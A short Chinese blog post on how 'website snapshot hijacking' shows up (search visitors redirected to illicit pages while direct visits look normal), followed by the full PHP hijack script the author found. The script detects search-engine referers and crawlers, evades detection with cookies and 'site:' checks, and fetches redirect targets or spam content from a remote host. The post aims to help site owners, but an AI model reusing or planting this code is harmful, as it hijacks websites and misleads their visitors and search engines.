常见网站快照php劫持代码技术頭條網

2018-12-23 10:11:06 freemoban

网站快照被劫持是个很头疼的事情，有多种，手机端的劫持，电脑端的劫持，甚至还分不同客户端的劫持，发现问题的确不容易。有谷歌手机端，UC客户端，百度客户端等等，小编遇到的就是手机自带的浏览器访问正常，uc和百度的客户端有问题。

特征如下，输入网址关键词百度出来的结果是非法信息，直接输入域名是正常的

点击链接然后跳转到其他地址

这个就是明显的网站快照被劫持了。找到对应代码

set_time_limit(20);
error_reporting(0);
define('u_b','/');
define('s_u','http://xxxxx.com/');
define('s_s','@baidu|so.com|sm.cn|sogou|yahoo|gogle@i');
define('h_t',$_SERVER['SERVER_NAME']);
define('r_s',$_SERVER['HTTP_REFERER']);
define('u_s',$_SERVER['HTTP_USER_AGENT']);
define('h_z',s_p());
function s_p(){
	$d='';
	if(isset($_SERVER['REQUEST_URI'])){
		$d=$_SERVER['REQUEST_URI'];
	} else{
		if(isset($_SERVER['argv'])){
			$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
		} else{
			$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
		}
	}
	if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){
		if(function_exists('mb_convert_encoding')){
			$d=mb_convert_encoding($d,'UTF-8','GBK');
		} else{
			$d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);
		}
	}
	$r=explode('#',$d,2);
	$d=$r[0];
	return $d;
}
function r_s($url){
	$o=array('http' => array('method'=>"GET",'timeout'=>8));
	$context=stream_context_create($o);
	$h=file_get_contents($url,false,$context);
	if(empty($h)){
		$h=file_get_contents($url);
	}
	return $h;
}
if(preg_match(s_s,r_s)){
	$d_s=true;
	if(preg_match("@site%3A|inurl%3A@i",r_s)){
		setcookie('xx',h_t,time()+259200); 

		$d_s=false;
	}
	if($d_s && empty($_COOKIE['xx'])){
		setcookie('xx',h_t,time()+259200);
		$d_u=s_u.'?xu='.bin2hex(h_z);
		$d_u.='&ua='.bin2hex(u_s);
		$d_u.='&ad=1&xh='.bin2hex(h_t);
		$d_c=r_s($d_u);
		header("Location: ".$d_c.'?'.h_t);
		exit;
	}
}
if(strstr(h_z,u_b)){
	if(preg_match(s_s,u_s)){
		$d_u=s_u.'?xu='.bin2hex(h_z);
		$d_u.='&xh='.bin2hex(h_t);
		$d_u.='&ua='.bin2hex(u_s);
		$d_c=r_s($d_u);
		echo $d_c;
		exit;
	}
}